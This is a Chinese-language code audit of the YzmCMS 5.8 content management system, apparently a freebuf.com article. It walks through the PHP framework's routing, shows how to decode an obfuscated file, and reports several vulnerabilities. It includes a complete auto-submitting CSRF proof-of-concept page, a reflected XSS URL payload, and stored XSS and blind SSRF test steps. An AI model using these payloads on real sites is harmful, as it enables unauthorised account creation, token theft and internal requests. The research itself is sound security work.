0x00 前言
YzmCMS笔者读起来感觉安全性非常不错,但仔细观察观察多多少少存在一些漏洞。
在八月底笔者对该CMS的5.7版本进行了代码审计,打算在9月7号以文章的形式将一些漏洞问题整理出来,但昨日9月6号YzmCMS整个系统版本进行了更新,笔者这里很苦逼的将安全问题又重新看了一下,新版本并不影响漏洞执行。
源码下载渠道(YzmCMS 5.8版本) : 官网下载
我们依旧老样子,从框架运行原理,到漏洞挖掘。
0x01 MVC的了解
老样子,我们先看看index.php中是怎么玩的。
我们在通读天目MVC时,所提到过,define所定义的常量我们不需要每个都认真的记忆下来,而是通过php的get_defined_constant函数将常量全部提取出来,这样我们审计时,看到define直接置之不理,以免影响我们审计的心态。
这里就不多废话了,我们看到21行进行了require包含操作,我们看一下。
实际上是包含了./yzmphp/yzmphp.php文件,我们跟进
在33行之前的1-31行都是define,我们直接置之不理到33行,而33行很懵逼的给我们调用了yzm_base类下的load_sys_func静态方法,yzm_base类是哪来的?我们不慌,我们简单翻一翻该文件。
我们可以看到该文件的第75行定义了yzm_base类,我们找一下它下面的load_sys_func静态方法。
只是进行了文件包含操作,审计到这里笔者分享一下笔者的做法。
- 使用NodePad++的断点功能,做出php文件之前审计的位置
-
跟进包含进来的global文件,当我们阅读完毕global文件后,再回来之前的断点继续往下通读
这里笔者大致的看了一下global.func.php文件,只是定义了一些方法而已。
我们回来yzmphp.php文件,将断点取消,继续往下通读。
在48-54行中,只是用来获取当前的文件名。63-66行中,用来检测是否开启了GPC,开启则定义MAGIC_QUOTES_GPC常量为true,否则为false。
在70-72行依次调用了yzm_base类下的load_common方法,我们看一下load_common方法是如何定义的。
这里也是进行文件包含操作。因为在70-72行中调用load_common静态方法时只传递了一个参数,所以这里我们进入到141-146分支。70-72行的一系列操作只是包含 “./common/function/system.func.php”,“./common/function/extention.func.php”以及“./common/data/version.php”。
我们依次看一下他们是来干嘛的。
可以看到version.php文件只是定义了常量,extention.func.php文件什么也没做,system.func.php文件定义了一些方法。我们回到yzmphp.php文件继续往下通读。
在75行定义完毕yzm_base类后没有了任何操作,这时我们回到index.php,看一下index.php文件的最后一行。
Index.php文件最后一行调用了yzm_base类的creat_app方法,我们回到yzmphp.php的yzm_base类中找一下create_app方法是怎么玩的。
将application传入到load_sys_class静态方法中,随后再将application传入到_load_class静态方法,并且$initialize形式参数的值为1,我们看一下_load_class静态方法是怎么玩的。
因为我们传递过来时,$path形式参数为空,所以会进入到104行的if分支
这时候定义$path形式参数为 $path = YZMPHP_PATH.’yzmphp’.DIRECTORY_SEPARATOR.’core’.DIRECTORY_SEPARATOR.’class’;
也就是“程序路径/yzmphp/core/class”目录,在115行进行包含/yzmphp/core/class/application.class.php,而之前传入进来的$initialize为1,所以会进入到117行,这里会实例化application类并放到$classes的静态变量中,121行将实例化的application返回了。
这里我们跟进 /yzmphp/core/class/application.class.php。
因为在之前的$initialize为1时,会实例化application类,所以会自然而然的调用application类下的__construct构造方法。在__construct构造方法中,第16-19行是用来定义debug的。
这里我们目光转移到20行,调用load_sys_class方法,传入param参数。
在我们之前通读时,有读到load_sys_class静态方法,所以这里我们不再第二次读取。第20行会包含 /yzmphp/core/class/param.class.php,我们在application.class.php断点20行并跟进/yzmphp/core/class/param.class.php文件。
打开param.class.php文件看一下。
第15行调用了C方法,在我们之前包含进来的global.func.php以及system.func.php文件中,都是封装了一系列方法,C方法的调用也就来自于他们。
在global.func.php文件中发现了C方法的定义,这里看到954行定义了一个$path变量,它的值是 “程序路径/common/config/config.php”文件,随后在956行进行了包含操作,我们跟进config.php文件,看一下是怎么玩的。
直接将配置信息返回了。
这里我们回到param.class.php文件继续往下通读。
看代码意义上来说,第16行是定义默认路由。
这里我们将目光放到第17-20行中。
第18行的C方法返回false,不会进入到该分支,我们看到第19行调用了pathinfo_url成员方法。我们跟进。
Pathinfo_url成员方法只是来进行网站伪静态操作的,同时增加了一个$_GET[‘s’]路由指定方法。
Param.class.php文件读取完毕,我们回到application.class.php文件中继续通读。
看到了第21-23行分别调用了param对象下的ruote_m(module)、ruote_c(controller)、ruote_a(action),我们再次回到param.class.php文件中看一下是如何定义的。
可以看到获取了$_GET[‘m’]、$_GET[‘c’]、$_GET[‘a’],但是在30行、44行、58行都调用了safe_deal方法,我们看一下该方法做了一些什么操作。
将$_GET[‘m’]、$_GET[‘c’]、$_GET[‘a’]都进行了addslashes函数过滤。
现在我们知道这些参数的获取了,我们回到application.class.php文件中继续通读。
在24行中调用了init方法,而在init方法的第32行中又调用了load_controller方法,我们跟进一下。
我们可以看到第59行中定义了文件路径和文件名,实际上是来包含 “application/$_GET[m]/controller/$_GET[c].class.php”
随后在实例化包含进来的类。
我们load_controller方法阅读完毕,随后我们回到init方法,再往下通读。
使用call_user_func方法,来调用$_GET[a]方法。
到这里,我们脑袋里面应该有个框架整体思维。
一:http://www.XXX.com/模块名/控制器/方法 所对应的文件路径为 ./application/模块名/controller/控制器.php 所对应的方法则是传递过来的方法。
二:http://www.XXX.com/?s=模块名/控制器名/方法名 所对应的文件路径为 ./application/模块名/controller/控制器.php 所对应的方法则是传递过来的方法。
三:http://www.XXX.com/?m=模块名&c=控制器名&a=方法名所对应的文件路径为 ./application/模块名/controller/控制器.php 所对应的方法则是传递过来的方法
下面我们在application/admin/controller文件夹下创建我们自己的控制器,来看是否可以正常访问到我们定义的自定义方法。
<?php class heihu{ public function hi(){ echo ‘helloWorld’; } }
我们整个框架思路清晰开始挖掘漏洞。
0x02 加密的文件
我们当然不希望我们审计过程中遇到一些文件被加密,这种加密影响我们进行漏洞挖掘。这里笔者先把丑话放在前面 : 请勿修改他人版权!!!
在./application/admin/index.class.php文件中。我们可以看到加密的信息。
我们先不慌,翻到最底部我们可以看到eval关键字。
因为eval中的内容被当作代码执行处理,所以我们这里echo一下eval函数中的内容。
可以看到程序做了二次加密,这个时候我们将echo出来的内容复制粘贴到程序内部中。并且删除echo那句话。
我们再次翻到最底部
我们再将eval关键字变为echo,并且加上exit(防止程序出现意外错误)。
使用burp发包
可以看到源码成功显示过来,我们把它复制粘贴到程序中,看是否可以正常运行。
成功运行程序。
0x03 做过滤的框架
我们在之前了解框架时,该CMS仅仅对$_GET[m]、$_GET[c]、$_GET[a]进行了addslashes过滤,难道就没有其他过滤了吗?
我们随便打开admin模块中的任何控制器看一下SQL语句的发送。
这是\application\admin\controller\admin_content.class.php文件下的第16行,调用了D方法。
而在第17行调用了total方法,我们先看一下D方法是如何定义的。
这里调用了load_sys_class方法,也就是包含\yzmphp\core\class\db_factory.class.php文件。随后在875通过get_instance方法返回对象后再调用connect方法。
我们跟进看一下。
因为我们安装时,程序默认选择的PDO扩展,所以这里应该进入到37-40行的分支,这里再次调用了load_sys_class方法,包含\yzmphp\core\class\db_pdo.class.php文件,我们打开看一下。
看到定义db_pdo类后我们回到\yzmphp\core\class\db_factory.class.php文件
可以看到进行了实例化操作,并且将一些配置信息与类名传入。
我们回到\yzmphp\core\class\db_pdo.class.php文件继续观察。
__construct魔术方法进行一些初始化操作,来给成员变量赋值,而connect方法就是用来连接PDO。
我们现在定位到total方法,看一下是怎么玩的。
我们远看,就是正常的SQL语句发送啊,有什么问题么?
我们先跟进execute方法。
可以看到使用了预处理技术,下边笔者就没有去挖掘SQL注入的漏洞了。
0x04 被绕过的CSRF
在application\admin\controller\common.class.php文件中,我们看一下__construct魔术方法。
调用了check_referer魔术方法,我们跟进。
可以看到,判断了HTTP_REFERER,但是如果HTTP_REFERER不存在,则不会进入到该分支。
在构造POC的html中,我们只需要加一句meta标签即可将发出去的请求不会携带REFERER。
<meta name="referrer" content="never">
笔者当然测试想从“添加管理员”处下手,但是无奈“添加管理员”处专门增加了token验证,所以笔者这里编写“添加会员”来进行测试。
POC脚本:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="referrer" content="never"> <title>Document</title> </head> <body> <form action="http://yzmphp.cn/member/member/add.html" method="post"> <input type="hidden" name="username" value="hacker"> <input type="hidden" name="password" value="hacker"> <input type="hidden" name="nickname" value="hacker"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="groupid" value="1"> <input type="hidden" name="point" value="0"> <input type="hidden" name="overduedate" value=""> <input type="hidden" name="dosubmit" value="1"> </form> <script> let oForm = document.querySelector('form'); oForm.submit(); </script> </body> </html>
测试案例:
0x05 多处反射型XSS
反射型的XSS一般都在前台模板中,笔者在application\member\view\member_list.html文件中,发现一处没有经过任何过滤而输出到前端的点。
构造Payload:
http://xxx.cn/member/member/init.html?start=11%22%3E%3Cscript%3Ealert(1)%3C/script%3E
这样的反射型XSS可以获取token信息。
同时我们可以在notePad++的全局搜索的功能中进行搜索:“if(isset($_GET[”
来查找是否还有类似漏洞点。
其他更多的反射型XSS点在文章中就不再提起了。
0x06 多处存储型XSS
通常的存储型XSS其实也大部分存在后台的数据库insert操作。
笔者在application\collection\controller\collection_content.class.php中的add方法中,发现一处未经过任何过滤而导致的存储型XSS。
这里我们进行测试。
提交后单击测试采集:
成功触发。
这里我们可以通过搜索关键字:“->insert($_POST)”来挖掘类似该点的存储型XSS漏洞。
当然前提是入库前未过滤的情况下。
0x07 无回显的SSRF
还是在application\collection\controller\collection_content.class.php中的collection_test方法
从数据库中查询出内容后直接调用collection类下的get_content方法,collection类可以从application\collection\controller\collection_content.class.php文件的起始行看到有加载。
这里我们跟进\yzmphp\core\class\collection.class.php文件。
可以看到没有经过任何过滤直接调用curl一系列方法。
我们进入application\collection\controller\collection_content.class.php中的add方法中
在网址配置中填入dnslog来接收。
来源:freebuf.com 2020-09-07 11:48:21 by: Heihu577
请登录后发表评论
注册